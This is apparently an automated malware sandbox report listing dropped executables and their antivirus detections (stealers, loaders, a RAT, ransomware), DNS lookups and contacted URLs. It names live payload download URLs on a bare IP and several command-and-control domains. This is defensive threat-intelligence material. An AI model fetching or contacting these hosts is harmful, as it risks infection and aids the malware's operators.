C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9F33.tmp.cc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015203001\9a445eef2c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015204001\45777d8908.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	77%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	68%	ReversingLabs	Win32.Trojan.Mikey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	74%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	47%	ReversingLabs	Win32.Trojan.StealC
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	54%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	79%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\K6UAlAU[1].exe	42%	ReversingLabs	Win64.Trojan.Marte
C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	42%	ReversingLabs	Win64.Trojan.Marte
C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	68%	ReversingLabs	Win32.Trojan.Mikey
C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1015204001\45777d8908.exe	47%	ReversingLabs	Win32.Trojan.StealC
C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	92%	ReversingLabs	ByteCode-MSIL.Trojan.RedLineStealz
C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	83%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	87%	ReversingLabs	ByteCode-MSIL.Backdoor.AsyncRat
C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Rozena
C:\Users\user\AppData\Local\Temp\9F33.tmp.cc.exe	43%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	83%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	42%	ReversingLabs	Win64.Trojan.Marte

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
services.addons.mozilla.org	151.101.193.91	true	false	high
fightlsoser.click	104.21.35.43	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.181.132	true	false	high
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	high
star-mini.c10r.facebook.com	157.240.196.35	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
twitter.com	104.244.42.193	true	false	high
google.com	172.217.17.46	true	false	high
plus.l.google.com	142.250.181.46	true	false	high
dyna.wikimedia.org	185.15.58.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
checkip.dyndns.com	193.122.130.0	true	false	high
youtube.com	142.250.181.110	true	false	high
youtube-ui.l.google.com	142.250.181.78	true	false	high
reddit.map.fastly.net	151.101.193.140	true	false	high
play.google.com	172.217.19.206	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
www.reddit.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
checkip.dyndns.org	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
normandy.cdn.mozilla.net	unknown	unknown	false	high
api.ip.sb	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dare-curbys.biz	true
https://fightlsoser.click/api	true
formy-spill.biz	true
http://185.81.68.147/cc.exe	true
https://steamcommunity.com/profiles/76561199724331900	false
http://185.81.68.147/fcxcx.exe	true
dwell-exclaim.biz	true
se-blurry.biz	true
http://185.81.68.147/Build.exe	true

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/ac/?q=	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000032FB000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.datacontract.org	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002F1C000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id23ResponseD	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002F1C000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://se-blurry.biz/api	6c29e572e4.exe, 00000010.00000003.3289078572.000000000108F000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3374926072.000000000108F000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3289078572.0000000001078000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334461517.000000000108F000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id12Response	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id2Response	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://www.gstatic.cn/recaptcha/	6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id21Response	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id6ResponseD	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000003101000.00000004.00000800.00020000.00000000.sdmp	false
http://www.valvesoftware.com/legal.htm	6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://www.youtube.com	6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
https://covery-mover.biz/api	6c29e572e4.exe, 00000010.00000003.3334461517.0000000001077000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id13ResponseD	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002F08000.00000004.00000800.00020000.00000000.sdmp	false
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3348434514.0000000001035000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id15Response	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=Cx79WC7T	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3348434514.0000000001035000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://s.ytimg.com;	6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3372061882.0000000001031000.00000004.00000020.00020000.00000000.sdmp	false
https://api.ip.sb/ip	explorer.exe, 0000000B.00000003.2984346806.000000000AA42000.00000004.00000001.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=ImL_uti9QFBw&l=e	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000032FB000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.datacontract.org/2004/07/System.ServiceModel	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002F1C000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id24Response	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000032FB000.00000004.00000800.00020000.00000000.sdmp	false
https://lv.queniujq.cn	6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
https://steamcommunity.com/profiles/76561199724331900/inventory/	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3372061882.0000000001031000.00000004.00000020.00020000.00000000.sdmp	false
https://www.youtube.com/	6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2004/08/addressing	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://www.google.com/recaptcha/	6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
https://checkout.steampowered.com/	6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id5Response	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id10Response	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://word.office.comon	explorer.exe, 0000000B.00000000.2776738838.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id8Response	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://help.steampowered.com/en/	6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.micro	explorer.exe, 0000000B.00000000.2773964406.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000000.2774619701.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000000.2774587751.0000000008870000.00000002.00000001.00040000.00000000.sdmp	false
https://recaptcha.net/recaptcha/;	6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/:hardwares.	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002F1C000.00000004.00000800.00020000.00000000.sdmp	false
https://impend-differ.biz/apiO	6c29e572e4.exe, 00000010.00000002.3374926072.0000000001078000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334461517.0000000001077000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://broadcast.st.dl.eccdnx.com	6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id13Response	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://steamcommunity.com/workshop/	6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://login.steampowered.com/	6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://store.steampowered.com/legal/	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3372061882.0000000001031000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000032FB000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id22Response	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id22ResponseD	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002F1C000.00000004.00000800.00020000.00000000.sdmp	false
https://store.steampowered.com/	6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png	6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
http://127.0.0.1:27060	6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3348434514.0000000001035000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id19ResponseD	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.00000000030EF000.00000004.00000800.00020000.00000000.sdmp	false
https://se-blurry.biz/	6c29e572e4.exe, 00000010.00000003.3289078572.000000000108F000.00000004.00000020.00020000.00000000.sdmp	false
https://fightlsoser.click/	6c29e572e4.exe, 00000010.00000003.3291840251.0000000001046000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id18Response	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id3Response	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://api.steampowered.com/	6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.datacontract.org/2004/07/System.ServiceModelD	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002F1C000.00000004.00000800.00020000.00000000.sdmp	false
https://dare-curbys.biz/api	6c29e572e4.exe, 00000010.00000002.3374926072.0000000001078000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334461517.0000000001077000.00000004.00000020.00020000.00000000.sdmp	false
https://store.steampowered.com/mobile	6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/soap/actor/next	6737.tmp.fcxcx.exe, 00000011.00000002.3239910213.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l	6c29e572e4.exe, 00000010.00000003.3334154833.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://fightlsoser.click/apiXU	6c29e572e4.exe, 00000010.00000002.3372061882.000000000100E000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	6c29e572e4.exe, 00000010.00000003.3345294880.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3334154833.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	false
https://player.vimeo.com	6c29e572e4.exe, 00000010.00000003.3348434514.000000000103B000.00000004.00000020.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000003.3346690555.0000000001056000.00000004.00000020.00020000.00000000.sdmp	false
